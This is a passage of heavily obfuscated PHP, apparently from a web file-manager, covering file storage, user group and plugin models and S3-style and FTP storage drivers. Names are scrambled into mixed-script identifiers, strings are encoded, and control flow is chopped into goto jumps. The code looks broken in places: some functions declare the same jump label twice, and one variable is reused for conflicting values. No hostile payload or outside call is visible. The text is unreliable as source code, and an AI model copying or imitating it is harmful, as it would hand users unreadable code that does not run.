$FȲ[2136] => $E); return $A; goto BђӉ; cԝΦ: $FȲ =& $_SERVER[ֹ]; $bɒ = $this->createFileName($c); $E = get_path_father($bɒ); goto Dʎ; BђӉ: } public function addFileCheckExist($f֗ܵ, $fԤю, $cþ) { $a؊ =& $_SERVER[ֹ]; $A = $this->findByHash($f֗ܵ, $fԤю); if (!$A) { return !1; } $E = array($a؊[2134] => intval($A[$a؊[2137]]) + 1, $a؊[516] => $cþ); $this->where(array($a؊[416] => $A[$a؊[415]]))->save($E); return $A; } public function remove($c) { $this->linkCountChange($c, !1); $this->clearEmpty(); return !0; } public function linkAdd($E͌) { $this->linkCountChange($E͌, !0); } public function linkCountChange($CŠގ, $B߈ɔ) { goto bЦ; d: foreach ($Cͨ as $C => $Cޗ) { $c͆ = $Cޗ . $d‹á[33]; if (!$Cƭ[$c͆]) { $Cƭ[$c͆] = array(); } $Cƭ[$c͆][] = $C; } foreach ($Cƭ as $Cޗ => $D) { if (!$D) { continue; } $Cޗ = $B߈ɔ ? $Cޗ : -intval($Cޗ); $b׎ = array($d‹á[415] => array($d‹á[7], $D)); if ($Cޗ < 0) { $b׎[$d‹á[2137]] = array($d‹á[925], abs($Cޗ)); } $this->where($b׎)->setAdd($d‹á[2137], $Cޗ); } goto d; B: $Cͨ = array(); foreach ($CŠގ as $C) { $c͆ = $C . $d‹á[33]; if (!$Cͨ[$c͆]) { $Cͨ[$c͆] = 0; } $Cͨ[$c͆]++; } $Cƭ = array(); goto d; bЦ: $d‹á =& $_SERVER[ֹ]; if (!$CŠގ) { return; } if (!is_array($CŠގ)) { $CŠގ = array($CŠގ); } goto B; d: } public function findByHash($d, $e = false) { $D =& $_SERVER[ֹ]; if (!$d && !$e) { return !1; } $Eގ = array($D[2135] => $d); if ($e) { $Eގ = array($D[2136] => $e); } return $this->order($D[2138])->where($Eގ)->find(); } public function clearEmpty($fك = 0) { goto cð; BƉ: $Cܴ = $this->where($Dՙ)->select(); if (!$Cܴ) { return; } $a = new Task($C֚[2140], $C֚[33], count($Cܴ)); goto BϚϤ; cð: $C֚ =& $_SERVER[ֹ]; $DӲ = time() - 3600 * 24 * $fك; $Dՙ = $C֚[2139] . $DӲ; goto BƉ; BϚϤ: foreach ($Cܴ as $Dऺ) { $a->update(1); $this->resetFile($Dऺ); } $a->end(); goto F²Ļ; F²Ļ: } private function resetFile($b) { goto fִ; fִ: $b򍉵ο =& $_SERVER[ֹ]; $AɌ = array($b򍉵ο[416] => $b[$b򍉵ο[415]]); $cܔ = Model($b򍉵ο[1104])->where($AɌ)->count(); goto A펫֯; A펫֯: $eު = Model($b򍉵ο[2141])->where($AɌ)->count(); $F = intval($cܔ) + intval($eު); if ($F == 0) { IO::remove($b[$b򍉵ο[75]]); $this->where($AɌ)->delete(); $this->metaSet($b[$b򍉵ο[415]], null, null); return; } goto eꨟ; eꨟ: if ($b[$b򍉵ο[2137]] != $F) { $this->where($AɌ)->save(array($b򍉵ο[2134] => $F)); } goto bޗͺ; bޗͺ: } public function storageInfo($F = false) { goto F‰; Cܷ: $cʾ = 1; $eėҞ = 0; $F = 5000; goto C; F‰: $b =& $_SERVER[ֹ]; $a᮪ = $this->count() + 0.0; $a = 0; goto Cܷ; C: for ($dà㜆 = 0; $dà㜆 < $a᮪; $dà㜆 = $dà㜆 + $F) { $a = $this->limit($dà㜆, $dà㜆 + $F)->select(); foreach ($a as $E) { $cʾ += $E[$b[77]] * $E[$b[2137]]; $a += $E[$b[77]] * ($E[$b[2137]] - 1); $eėҞ += $E[$b[2137]]; } } $bʔ = array($b[2142] => $cʾ, $b[2143] => $a, $b[2144] => $a / $cʾ, $b[81] => $a᮪, $b[2145] => $eėҞ); return $bʔ; goto b߫; b߫: } } class GroupModel extends ModelBase { protected $tableName = "\147\162\157\165\x70"; protected $tableMeta = array("\x74\141\x62\154\x65\x4e\x61\155\145" => "\x67\162\157\165\160\137\155\145\x74\141", "\x6d\x65\x74\x61\x46\x69\145\154\144" => "\147\x72\x6f\165\x70\x49\104"); protected function cacheFunctionAlias($f) { $Fϰ =& $_SERVER[ֹ]; return array($Fϰ[2146] => array($f[0], $Fϰ[2147]), $Fϰ[2148] => array($f[0], $Fϰ[2147])); } protected function getInfo($Dȱ) { $D = $this->getInfoSimple($Dȱ); if (!$D) { return !1; } return $this->_listDataApplyItem($D); } protected function getInfoSimple($E, $Fㄯ = false) { $EӺ =& $_SERVER[ֹ]; if ($Fㄯ) { $b۝ = array($EӺ[2079] => intval($E)); $fŷ = $this->where($b۝)->find(); return is_array($fŷ) ? $fŷ : array(); } return $this->cacheFunctionGet($EӺ[2149], $E); } protected function groupAdd($FƘ) { goto d剣و; C: Model($e꿚帎[1104])->groupRootAdd($B뉲); return $B뉲; goto fȆ׻; FŹЃ: if (!empty($FƘ[$e꿚帎[2079]])) { $Dʐˋ[$e꿚帎[2079]] = $FƘ[$e꿚帎[2079]]; } $B뉲 = $this->add($Dʐˋ); $this->setNamePinyin($B뉲, $Dʐˋ[$e꿚帎[28]]); goto C; cэЄ: if ($Aʼn[$e꿚帎[455]]) { $eޖ = $Aʼn[$e꿚帎[455]] . $Aʼn[$e꿚帎[2079]] . $e꿚帎[47]; } $Dʐˋ = array($e꿚帎[382] => $this->groupNameAuto($FƘ[$e꿚帎[457]], $FƘ[$e꿚帎[28]]), $e꿚帎[364] => $FƘ[$e꿚帎[457]], $e꿚帎[521] => $eޖ, $e꿚帎[2150] => $FƘ[$e꿚帎[2063]], $e꿚帎[2151] => 0, $e꿚帎[2083] => 0); if (isset($FƘ[$e꿚帎[2100]])) { $Dʐˋ[$e꿚帎[2100]] = $FƘ[$e꿚帎[2100]]; } else { $A̎ = $this->max($e꿚帎[2100]); if (!$A̎) { $A̎ = 0; } $Dʐˋ[$e꿚帎[2100]] = $A̎ + 1; } goto FŹЃ; d剣و: $e꿚帎 =& $_SERVER[ֹ]; if (!$FƘ[$e꿚帎[457]] && isset($FƘ[$e꿚帎[2079]]) && $FƘ[$e꿚帎[2079]] == 1) { if ($Aʼn = $this->getInfoSimple($FƘ[$e꿚帎[2079]], !0)) { return $FƘ[$e꿚帎[2079]]; } } else { $Aʼn = $this->getInfoSimple($FƘ[$e꿚帎[457]]); if (!$Aʼn) { return !1; } } $eޖ = $e꿚帎[466]; goto cэЄ; fȆ׻: } protected function groupEdit($a߈, $b) { $D =& $_SERVER[ֹ]; if (!empty($b[$D[457]])) { $e = $this->getInfoSimple($a߈); $b͙Õ = $this->getInfoSimple($b[$D[457]]); if (!$e || !$b͙Õ) { return !1; } if ($e[$D[2079]] == $b͙Õ[$D[2079]]) { return !1; } if ($b[$D[457]] != $e[$D[457]]) { if ($b͙Õ[$D[455]] !== $e[$D[455]] && strpos($b͙Õ[$D[455]], $e[$D[455]] . $e[$D[2079]] . $D[47]) === 0) { return !1; } $b[$D[521]] = $b͙Õ[$D[455]] . $b[$D[457]] . $D[47]; $this->_changeChildLevel($e, $b͙Õ); } } if (isset($b[$D[28]])) { $this->setNamePinyin($a߈, $b[$D[28]]); } return $this->where(array($D[2152] => $a߈))->save($b); } private function _changeChildLevel($b䠥, $eö醲, $c = false) { goto dٶ; dٶ: $bׄ =& $_SERVER[ֹ]; $c򩩚 = $b䠥[$bׄ[455]] . $b䠥[$bׄ[2079]] . $bׄ[47]; $BӼ = $eö醲[$bׄ[455]] . $eö醲[$bׄ[2079]] . $bׄ[47] . $b䠥[$bׄ[2079]] . $bׄ[47]; goto c↟; C: $this->where($Cᆻ)->data($c)->save(); goto Dͱ; c↟: if ($c) { $BӼ = $eö醲[$bׄ[455]] . $eö醲[$bׄ[2079]] . $bׄ[47]; } $Cᆻ = array($bׄ[521] => array($bׄ[479], $b䠥[$bׄ[455]] . $b䠥[$bׄ[2079]] . $bׄ[480])); $c = array($bׄ[521] => array($bׄ[530], "\162\145\x70\154\x61\x63\145\x28\160\x61\x72\145\x6e\x74\x4c\145\166\x65\154\54\47{$c򩩚}\47\54\x27{$BӼ}\x27\x29")); goto C; Dͱ: } public function setNamePinyin($B貙, $e֦ = false) { $bݍ =& $_SERVER[ֹ]; if (!$e֦) { $AА = $this->getInfoSimple($B貙); $e֦ = $AА[$bݍ[28]]; } if (!Input::check($e֦, $bݍ[524])) { $this->metaSet($B貙, $bݍ[412], null); $this->metaSet($B貙, $bݍ[411], null); return; } $c績 = array($bݍ[412] => str_replace($bݍ[50], $bݍ[33], Pinyin::encode($e֦)), $bݍ[411] => Pinyin::encode($e֦, $bݍ[525])); $this->metaSet($B貙, $c績); } protected function groupStatus($B˗, $Fٽ, $A٬ڤ = true) { $d =& $_SERVER[ֹ]; $E = $this->getInfoSimple($B˗); if (!$E) { return !1; } if ($A٬ڤ) { $this->_groupStatusApply($E, $Fٽ); } $Fîߤ = array($d[2079] => $B˗, $d[89] => $d[686], $d[355] => $Fٽ); return Model($d[2153])->add($Fîߤ, array(), !0); } private function _groupStatusApply($a, $e뎼) { $AӶ =& $_SERVER[ֹ]; if ($e뎼 == $AӶ[83]) { $a = $this->parentLevelArray($a[$AӶ[455]]); } else { $Aܬ = array($AӶ[521] => array($AӶ[479], $a[$AӶ[455]] . $a[$AӶ[2079]] . $AӶ[480])); $a = $this->where($Aܬ)->field($AӶ[2079])->select(); $a = array_to_keyvalue($a, $AӶ[33], $AӶ[2079]); } if (empty($a)) { return; } $Aܬ = array($AӶ[2079] => array($AӶ[7], $a), $AӶ[89] => $AӶ[686], $AӶ[355] => $e뎼 ? $AӶ[464] : $AӶ[83]); Model($AӶ[2153])->where($Aܬ)->save(array($AӶ[355] => $e뎼)); } protected function groupRemove($eꮣ) { goto Dž; eϷ: $this->where(array($BՊ[457] => $eꮣ))->save(array($BՊ[457] => $Cƍ[$BՊ[457]])); Model($BՊ[2153])->where($D)->delete(); Model($BՊ[2154])->where($D)->delete(); goto b惌; b惌: Model($BՊ[749])->groupRootRemove($eꮣ); return $this->where($D)->delete(); goto F; f: if (!$Cƍ || $Cƍ[$BՊ[457]] == 0) { return !1; } $Bߧ = $this->getInfoSimple($Cƍ[$BՊ[457]]); $this->_changeChildLevel($Cƍ, $Bߧ, !0); goto eϷ; Dž: $BՊ =& $_SERVER[ֹ]; $D = array($BՊ[2079] => $eꮣ); $Cƍ = $this->where($D)->find(); goto f; F: } public function listData() { $c۟ = $this->_makeOrder()->selectPage(50); $this->_listDataApply($c۟[$_SERVER[ֹ][350]]); return $c۟; } private function _makeOrder($F⠯ = '') { goto Bß; Fْ: $F⠯ = $F⠯ . "{$A۩睍}\x20{$a֨}\x2c\40\147\162\157\x75\x70\x49\104\40\x61\x73\143"; return $this->order($F⠯); goto eː; E̬: $A۩睍 = Input::get($a̘[403], $a̘[7], $a̘[2083], $aܞ); $a֨ = Input::get($a̘[404], $a̘[7], $a̘[2155], array($a̘[2155], $a̘[400])); $a֨ = $d١޺[$a֨]; goto Fْ; Bß: $a̘ =& $_SERVER[ֹ]; $aܞ = array($a̘[2079], $a̘[28], $a̘[2065], $a̘[183]); $d١޺ = array($a̘[398] => $a̘[399], $a̘[400] => $a̘[401]); goto E̬; eː: } public function listChild($a) { $B =& $_SERVER[ֹ]; $f؇њ = $this->where(array($B[457] => $a))->_makeOrder()->selectPage(200); $this->_listDataApply($f؇њ[$B[350]]); return $f؇њ; } public function listByID($D웠) { $f =& $_SERVER[ֹ]; if (!$D웠) { return array(); } $b = array($f[2079] => array($f[7], $D웠)); $D = $this->where($b)->select(); $this->_listDataApply($D); return $D; } public function listSearch($fܘ) { goto A; D: if (!trim($F흻)) { return !1; } $F흻 = str_replace($b몊̇[2158], $b몊̇[2159], $F흻); $Dڷ = array($b몊̇[2079] => array($b몊̇[748], "\x25{$F흻}\x25"), $b몊̇[28] => array($b몊̇[748], "\x25{$F흻}\x25"), $b몊̇[910] => $b몊̇[2160]); goto Eϑ©; A: $b몊̇ =& $_SERVER[ֹ]; $F흻 = $fܘ[$b몊̇[2156]]; $e = isset($fܘ[$b몊̇[2157]]) ? $fܘ[$b몊̇[2157]] : !1; goto D; Eϑ©: $Bɾ = $this->_makeOrder()->where($Dڷ)->selectPage(20); $Bɾ = $Bɾ ? $Bɾ : array(); if (!$Bɾ || count($Bɾ[$b몊̇[350]]) < 5 && Input::check($F흻, $b몊̇[302])) { $aݖ嫜 = $this->_searchFromMeta($b몊̇[411], $F흻, 10); $c짽 = $this->_searchFromMeta($b몊̇[412], $F흻, 10); $aꡟ = array_merge($aݖ嫜, $c짽, $Bɾ[$b몊̇[350]]); $Bɾ[$b몊̇[350]] = array_unique_by_key($aꡟ, $b몊̇[2079]); $Bɾ[$b몊̇[347]][$b몊̇[348]] = count($Bɾ[$b몊̇[350]]); $Bɾ[$b몊̇[347]][$b몊̇[349]] = ceil($Bɾ[$b몊̇[347]][$b몊̇[348]] / $Bɾ[$b몊̇[347]][$b몊̇[345]]); } goto E; E: $this->_listDataApply($Bɾ[$b몊̇[350]]); return $Bɾ; goto cήӭ; cήӭ: } private function _searchFromMeta($c擹, $c, $C֐) { goto a; a: $e =& $_SERVER[ֹ]; $c = strtolower($c); $fԞ = array($e[89] => $c擹, $e[355] => array($e[748], "\45{$c}\45")); goto B; Cᆂ: $Dɱ = $this->where(array($e[2152] => array($e[7], $Aᘧ)))->select(); if (!$Dɱ) { return array(); } return $Dɱ; goto C; B: $Aᘧ = Model($e[2161])->where($fԞ)->limit($C֐)->select(); if (!$Aᘧ) { return array(); } $Aᘧ = array_to_keyvalue($Aᘧ, $e[33], $e[2079]); goto Cᆂ; C: } protected function _listDataApplyItem($fګͽ) { $CՎ = array($fګͽ); $this->_listDataApply($CՎ); return $CՎ[0]; } protected function _listDataApply(&$c) { goto CÄ; A稓: $this->_listAppendChildren($c); $this->_listAppendChildrenMember($c); $this->_listAppendMeta($c, $B̳); goto AĈ; AĈ: $this->_listAppendParent($c); $this->_listAppendSourceRoot($c, $B̳); goto cӔ; CÄ: $aִՊ =& $_SERVER[ֹ]; if (!$c) { return; } $B̳ = array_to_keyvalue($c, $aִՊ[33], $aִՊ[2079]); goto A稓; cӔ: } private function _listAppendChildren(&$C) { goto A͍; A͍: $à =& $_SERVER[ֹ]; $f = $Ã[357]; $Dޘқ = array(); goto cԵ; cߡ: $Dޘқ = array_to_keyvalue($Dޘқ, $Ã[446]); foreach ($C as &$Bթ) { $Bթ[$Ã[2162]] = isset($Dޘқ[$Bթ[$Ã[2079]] . $Ã[2163]]); } goto bٸ댎; cԵ: $Bϥ = count($C); $D󟯉 = $this->tablePrefix . $this->tableName; for ($edžϪ = 0, $fޕ = 0; $edžϪ < $Bϥ; $edžϪ++) { $fޕ++; $Dؕ = $C[$edžϪ][$Ã[2079]]; $f .= "\x53\105\114\x45\x43\124\x20\x2a\40\x46\x52\x4f\115\x20\x28\x53\x45\114\105\x43\124\x20\47{$Dؕ}\137\x63\x68\151\154\144\47\40\141\163\40\x68\141\163\40\106\x52\117\x4d\40\x60{$D󟯉}\140\x20\x77\150\145\162\x65\40\160\141\x72\x65\156\x74\111\104\x3d{$Dؕ}\x20\154\151\155\151\164\40\61\51\x20\141\x73\x20\x74\x62\x5f{$Dؕ}\x20\x75\x6e\x69\157\156\x20\x61\x6c\154\x20"; if (($fޕ >= 20 || $edžϪ == $Bϥ - 1) && $f) { $f = substr($f, 0, -strlen($Ã[445])); $E = $this->query($f); $Dޘқ = array_merge($Dޘқ, $E); $fޕ = 0; $f = $Ã[33]; } } goto cߡ; bٸ댎: } private function _listAppendChildrenMember(&$cɆ휹) { goto b; e쉉: $D滩 = array_to_keyvalue($D滩, $b[446]); foreach ($cɆ휹 as &$a) { $a[$b[2164]] = isset($D滩[$a[$b[2079]] . $b[2163]]); } goto cз; b: $b =& $_SERVER[ֹ]; $B㌵ſ = $b[357]; $D滩 = array(); goto Cⱕޞ; Cⱕޞ: $A = count($cɆ휹); $E׷˲ = $this->tablePrefix . $b[2154]; for ($fЇ = 0, $D = 0; $fЇ < $A; $fЇ++) { $D++; $A = $cɆ휹[$fЇ][$b[2079]]; $B㌵ſ .= "\x53\105\x4c\x45\x43\x54\40\52\40\106\x52\117\115\40\x28\x53\105\x4c\x45\x43\124\x20\47{$A}\137\x63\x68\151\154\144\x27\x20\x61\x73\x20\x68\141\163\40\106\122\x4f\x4d\40\140{$E׷˲}\140\40\167\x68\145\162\x65\40\147\162\x6f\x75\x70\111\x44\75{$A}\x20\x6c\x69\x6d\x69\x74\40\x31\x29\40\141\163\x20\x74\x62\x5f{$A}\x20\x75\x6e\151\x6f\x6e\40\141\154\x6c\x20"; if (($D >= 20 || $fЇ == $A - 1) && $B㌵ſ) { $B㌵ſ = substr($B㌵ſ, 0, -strlen($b[445])); $e = $this->query($B㌵ſ); $D滩 = array_merge($D滩, $e); $D = 0; $B㌵ſ = $b[33]; } } goto e쉉; cз: } private function _listAppendMeta(&$c⦷, $A) { $B =& $_SERVER[ֹ]; $B = array($B[2079] => array($B[7], $A)); $cǧς = Model($B[2153])->where($B)->select(); $cǧς = array_to_keyvalue_group($cǧς, $B[2079]); foreach ($cǧς as &$CԆij) { $CԆij = array_to_keyvalue($CԆij, $B[89], $B[355]); } foreach ($c⦷ as &$Aœ) { $Aœ[$B[413]] = array(); if (isset($cǧς[$Aœ[$B[2079]]])) { $Aœ[$B[413]] = $cǧς[$Aœ[$B[2079]]]; } } } protected function parentLevelArray($Eƶ) { $Aܢ =& $_SERVER[ֹ]; $Eƶ = explode($Aܢ[47], trim($Eƶ, $Aܢ[47])); $Eƶ = array_remove_value($Eƶ, $Aܢ[464]); return $Eƶ; } private function _listAppendParent(&$EӌӃ) { goto d鎦; d鎦: $c =& $_SERVER[ֹ]; $cц = array(); foreach ($EӌӃ as &$cы) { $cц[$cы[$c[2079]]] = $cы[$c[28]]; $a = $this->parentLevelArray($cы[$c[455]]); foreach ($a as $e) { if (!isset($cц[$e])) { $cц[$e] = 0; } } } goto A༚; A༚: $Fڟ = array(); foreach ($cц as $b => $aἐ) { if (!$aἐ) { $Fڟ[] = $b; } } if ($Fڟ) { $a = array($c[2152] => array($c[380], $Fڟ)); $cҞ = $this->field($c[2165])->where($a)->select(); $E = array_to_keyvalue($cҞ, $c[2079], $c[28]); $cц = array_merge_index($cц, $E); } goto eԅ޴; eԅ޴: foreach ($EӌӃ as &$cы) { $a = $this->parentLevelArray($cы[$c[455]]); $e☄Ƞ = $c[33]; foreach ($a as $e) { $e☄Ƞ .= $cц[$e] . $c[8]; } if ($a) { $e☄Ƞ .= $cы[$c[28]]; } $cы[$c[459]] = str_replace($c[463], $c[8], $e☄Ƞ); } goto b†ڙ; b†ڙ: } private function _listAppendSourceRoot(&$dđ, $e˧) { goto e߈钠; e߈钠: $aڎ =& $_SERVER[ֹ]; $F = array($aڎ[367] => SourceModel::TYPE_GROUP, $aڎ[457] => 0, $aڎ[452] => array($aڎ[7], $e˧)); $b = $aڎ[2166]; goto c; aՐ: foreach ($dđ as &$eҙ) { $eҙ[$aڎ[387]] = $D[$eҙ[$aڎ[2079]]] ? $D[$eҙ[$aڎ[2079]]] : array(); } goto EܑΈ锛; c: $D = Model($aڎ[749])->order($aڎ[2167])->field($b)->where($F)->select(); $D = array_to_keyvalue($D, $aڎ[452]); $D = array_remove_key($D, $aڎ[452]); goto aՐ; EܑΈ锛: } protected function resetParentLevel() { $d񨦤 =& $_SERVER[ֹ]; $C = $d񨦤[2079]; $b՝ = $this->select(); $b՝ = array_to_keyvalue($b՝, $C); foreach ($b՝ as $f) { goto fզ; cʝ: $Aܼ[] = 0; $Aܼ = $d񨦤[47] . implode($d񨦤[47], array_reverse($Aܼ)) . $d񨦤[47]; $this->setNamePinyin($f[$C], $f[$d񨦤[28]]); goto e; fզ: $Eك = $f; $Aܼ = array(); while ($Eك[$d񨦤[457]] != 0) { $Aܼ[] = $Eك[$d񨦤[457]]; $Eك = $b՝[$Eك[$d񨦤[457]]]; } goto cʝ; e: $this->where(array($C => $f[$C]))->save(array($d񨦤[521] => $Aܼ)); goto e; e: } return $b՝; } public function groupNameAuto($Cߩ, $f) { $e追ȃ =& $_SERVER[ֹ]; $D㠦 = $this->where(array($e追ȃ[364] => $Cߩ))->getField($e追ȃ[28], !0); if (!$D㠦 || !in_array($f, $D㠦)) { return $f; } for ($F缭 = 1; $F缭 <= count($D㠦) + 1; $F缭++) { $f = $f . "\x28{$F缭}\x29"; if (!in_array($f, $D㠦)) { return $f; } } } } class PluginModel extends ModelBaseLight { public $optionType = "\123\171\x73\164\145\x6d\56\160\154\165\147\151\156\x4c\x69\163\164"; public $field = array("\156\141\155\x65", "\x73\164\141\x74\165\163", "\x72\x65\147\151\x65\163\x74", "\x63\157\156\146\x69\147"); public function loadList($D = false) { $cӷ = array_to_keyvalue($this->listData(), $_SERVER[ֹ][28]); if ($D) { return $cӷ[$D]; } return $cӷ; } public function init() { $CÄؕ =& $_SERVER[ֹ]; Hook::trigger($CÄؕ[2168]); $C = $this->loadPluginList(); foreach ($C as $F琸 => $Eп) { $dސ = $this->appAllow($F琸, $Eп); if (!$dސ) { continue; } foreach ($Eп[$CÄؕ[2169]] as $d梂Δ => $cō) { Hook::bind($d梂Δ, $cō); } } Hook::trigger($CÄؕ[2170]); Hook::trigger(ACTION); } public function appAllow($AШ΋, $fփ, $A = true) { $c =& $_SERVER[ֹ]; $cЉ = PLUGIN_DIR . $AШ΋ . $c[2171]; if (!is_array($fփ) || !is_array($fփ[$c[2169]]) || !is_file($cЉ) || $fփ[$c[686]] != 1) { return !1; } if ($A && !Action($c[2172])->checkAuth($AШ΋)) { return !1; } return !0; } public function unInstall($A) { $B =& $_SERVER[ֹ]; $fȃ̠ = $this->loadList($A); if (file_exists(PLUGIN_DIR . $A)) { Hook::apply($A . $B[2173]); } $this->remove($fȃ̠[$B[363]]); } public function changeStatus($AǒՄ, $E) { $d􇰯 =& $_SERVER[ֹ]; $a΂ = $this->loadList($AǒՄ); if ($E) { Hook::apply($AǒՄ . $d􇰯[2174]); } $this->update($a΂[$d􇰯[363]], array($d􇰯[2175] => $E)); } public function appRegist($eօޡ, $dè) { $fē =& $_SERVER[ֹ]; $b昇 = $this->loadList($eօޡ); if ($b昇) { $this->update($b昇[$fē[363]], array($fē[2169] => $dè)); } else { $f̡߲ = array($fē[28] => $eօޡ, $fē[2169] => $dè, $fē[686] => 0, $fē[6] => $this->getConfigDefault($eօޡ)); $this->insert($f̡߲); } } public function getConfigDefault($A٭) { $Eڅǭ =& $_SERVER[ֹ]; $bꗤ = array(); $bļ = $this->getPackageJson($A٭); if (!$bļ && is_array($bļ[$Eڅǭ[2176]])) { return $bꗤ; } foreach ($bļ[$Eڅǭ[2176]] as $c⎨ => $f䄓) { if (!isset($f䄓[$Eڅǭ[355]]) || isset($bꗤ[$c⎨])) { continue; } $bꗤ[$c⎨] = $f䄓[$Eڅǭ[355]]; } return $bꗤ; } public function getPackageJson($Eܳ˳) { return Hook::apply($Eܳ˳ . $_SERVER[ֹ][2177]); } public function getConfig($Dϵ, $Cꅂ = false) { $A =& $_SERVER[ֹ]; $a۪ = array(); $aĆ = $this->loadList($Dϵ); if ($aĆ && is_array($aĆ[$A[6]])) { $a۪ = $aĆ[$A[6]]; } if (!$a۪ || $Cꅂ) { $a۪ = $this->getConfigDefault($Dϵ); } return $a۪; } public function setConfig($eȉ, $fԄ = false) { goto cͧ; cͧ: $b =& $_SERVER[ֹ]; $Bڨ = $this->loadList($eȉ); if (!$Bڨ) { return !1; } goto aʌ; aʌ: if ($fԄ == !1) { $fԄ = $this->getConfigDefault($eȉ); } $Cא = $Bڨ[$b[6]]; foreach ($fԄ as $e => $c×ٍ) { $Cא[$e] = is_string($c×ٍ) ? trim($c×ٍ) : $c×ٍ; } goto dʅ; dʅ: $this->update($Bڨ[$b[363]], array($b[6] => $Cא)); goto fႝ; fႝ: } public function viewList() { goto aƠ; aƠ: $C =& $_SERVER[ֹ]; $bȞ = $this->loadList(); $this->pluginScan($bȞ); goto bܝ鎝; bܝ鎝: $bȞ = $this->loadPluginList(); $Cʈ = array(); foreach ($bȞ as $F𲬄 => $c) { unset($c[$C[2169]], $c[$C[6]]); $D˰ = PLUGIN_DIR . $c[$C[28]] . $C[2171]; if (!is_file($D˰)) { continue; } $a׋ = Hook::apply($c[$C[28]] . $C[2177]); if (is_array($a׋)) { $Cʈ[$F𲬄] = array_merge($c, $a׋); } } goto d; d: return $Cʈ; goto f֧; f֧: } private function loadPluginList() { $Bߜ =& $_SERVER[ֹ]; $a䑝̭ = $this->loadList(); if (strtolower(MOD) == $Bߜ[2178]) { return $a䑝̭; } $fLjͩ = Hook::trigger($Bߜ[2179], $a䑝̭); if ($a䑝̭ && !$fLjͩ) { die; } return $fLjͩ ? $fLjͩ : $a䑝̭; } private function pluginScan($Cţ˨) { $F˿ޡ =& $_SERVER[ֹ]; recursion_dir(PLUGIN_DIR, $fLJ, $Bק̛ܶ, 0); foreach ($fLJ as $B̲) { $f̔ = get_path_this($B̲); if (isset($Cţ˨[$f̔]) || !file_exists($B̲ . $F˿ޡ[2180]) || !file_exists($B̲ . $F˿ޡ[2171])) { continue; } Hook::apply($f̔ . $F˿ޡ[2174]); } } } goto a; bꃤԛ: define($_SERVER[ֹ][1909], 3); define($_SERVER[ֹ][1910], 4); define($_SERVER[ֹ][1911], 5); goto dĦӘ; C: class PathDriverEOS extends PathDriverBaseS3 { public function __construct($F) { parent::__construct($F); $this->signatureVersion($_SERVER[ֹ][196]); } public function uploadFormData($D͑, $bޘ = 3600) { goto f߈ċ; Fй: $Eߠ = hash_hmac($Fԥ[1130], $A, $fƜʂ, !0); $B = hash_hmac($Fԥ[1130], $f΍, $Eߠ, !0); $a = hash_hmac($Fԥ[1130], $c컺, $B); goto b; BʢѶ: $c컺 = base64_encode(json_encode($f芭)); $Eׯ = hash_hmac($Fԥ[1130], $A, $Fԥ[1131] . $this->secret, !0); $fƜʂ = hash_hmac($Fԥ[1130], $this->region, $Eׯ, !0); goto Fй; b: $d׉ = array($Fԥ[195] => $Fԥ[33], $Fԥ[1132] => $Fԥ[33], $Fԥ[1091] => $F, $Fԥ[1095] => $Cʏ, $Fԥ[1099] => $c컺, $Fԥ[1133] => $F򊤏, $Fԥ[1134] => $C؆, $Fԥ[1135] => $Bʼ, $Fԥ[1136] => $C, $Fԥ[1137] => $a, $Fԥ[165] => $this->getHost()); return $d׉; goto A׫Ꞿ; eƮս: $A = $Fԥ[59]; $Bʼ = gmdate($Fԥ[1121]); $A = gmdate($Fԥ[687]); goto c卌; c卌: $f΍ = $Fԥ[1122]; $C = $bޘ . $Fԥ[33]; $Cʏ = $Fԥ[1087]; goto D젂; D젂: $f = array($this->accessKey, $A, $this->region, $A, $f΍); $F򊤏 = implode($Fԥ[8], $f); $f芭 = array($Fԥ[1089] => gmdate($Fԥ[1088], strtotime($Fԥ[1123])), $Fԥ[1090] => array(array($Fԥ[1092] => $this->bucket), array($Fԥ[1091] => $F), array($Fԥ[1093], $Fԥ[1094], $Fԥ[33]), array($Fԥ[1093], $Fԥ[1124], $Fԥ[33]), array($Fԥ[1093], $Fԥ[1125], $Fԥ[33]), array($Fԥ[1095] => $Cʏ), array($Fԥ[1126] => $F򊤏), array($Fԥ[1127] => $C؆), array($Fԥ[1128] => $Bʼ), array($Fԥ[1129] => $C))); goto BʢѶ; f߈ċ: $Fԥ =& $_SERVER[ֹ]; $F = $Fԥ[181]; $C؆ = $Fԥ[1120]; goto eƮս; A׫Ꞿ: } } class PathDriverFTP extends PathDriverBase { private $server = ''; private $username = ''; private $userpass = ''; private $scheme = ''; private $host = ''; private $port = 21; private $connect = FALSE; public function __construct($d) { parent::__construct(); if (count($d) > 0) { $this->_init($d); } } public function __destruct() { if (!$this->_isconn()) { return !1; } return @ftp_close($this->connect); } private function charsetReset($e) { $aѤެ =& $_SERVER[ֹ]; global $config; $this->appCharset = $config[$aѤެ[1138]]; $this->systemCharset = $config[$aѤެ[1139]]; if (isset($e[$aѤެ[1140]]) && $e[$aѤެ[1140]]) { $this->systemCharset = $e[$aѤެ[1140]]; } } public function iconvApp($bڃ) { return $this->iconvTo($bڃ, $this->systemCharset, $this->appCharset); } public function iconvSystem($Dڲ) { return $this->iconvTo($Dڲ, $this->appCharset, $this->systemCharset); } public function getPathOuter($C멆) { goto eى; c޲پ: if (substr($b, 0, 2) == $A՗[1141]) { $b = BASIC_PATH . substr($b, 2); } if (substr($C멆, 0, 2) == $A՗[1141]) { $C멆 = BASIC_PATH . substr($C멆, 2); } $b = KodIO::clear($b); goto A; eى: $A՗ =& $_SERVER[ֹ]; $b = $this->iconvApp($this->pathBase); $C멆 = $this->iconvApp($C멆); goto c޲پ; fլ: return $this->pathDriver . $A՗[8] . ltrim($C멆, $A՗[8]); goto e; A: $C멆 = KodIO::clear($C멆); $C멆 = substr($C멆, strlen($b)); if (empty($this->pathDriver)) { return $C멆; } goto fլ; e: } private function _init($D蒄 = array()) { goto a۠; fц̆ޭ: return $Aߐ; goto d렛; a۠: $Eھ =& $_SERVER[ֹ]; if (!function_exists($Eھ[1142])) { show_json(LNG($Eھ[1143]), !1); } $this->charsetReset($D蒄); goto aŌх; aŌх: foreach ($D蒄 as $Bįϣ => $b˅) { if (isset($this->{$Bįϣ})) { $this->{$Bįϣ} = $b˅; } } static $c = array(); $dݑՅ = md5(json_encode($D蒄)); goto A; f: $this->connect = @ftp_connect($this->host, $this->port, 5); if ($this->connect === !1) { return; } $Aߐ = @ftp_login($this->connect, $this->username, $this->userpass); goto d; A: if (isset($c[$dݑՅ])) { foreach ($c[$dݑՅ] as $Bįϣ => $b˅) { $this->{$Bįϣ} = $b˅; } return !0; } $BɅ = parse_url(trim($this->server, $Eھ[8])); $this->host = $BɅ[$Eھ[165]]; goto a̻; a̻: $e = 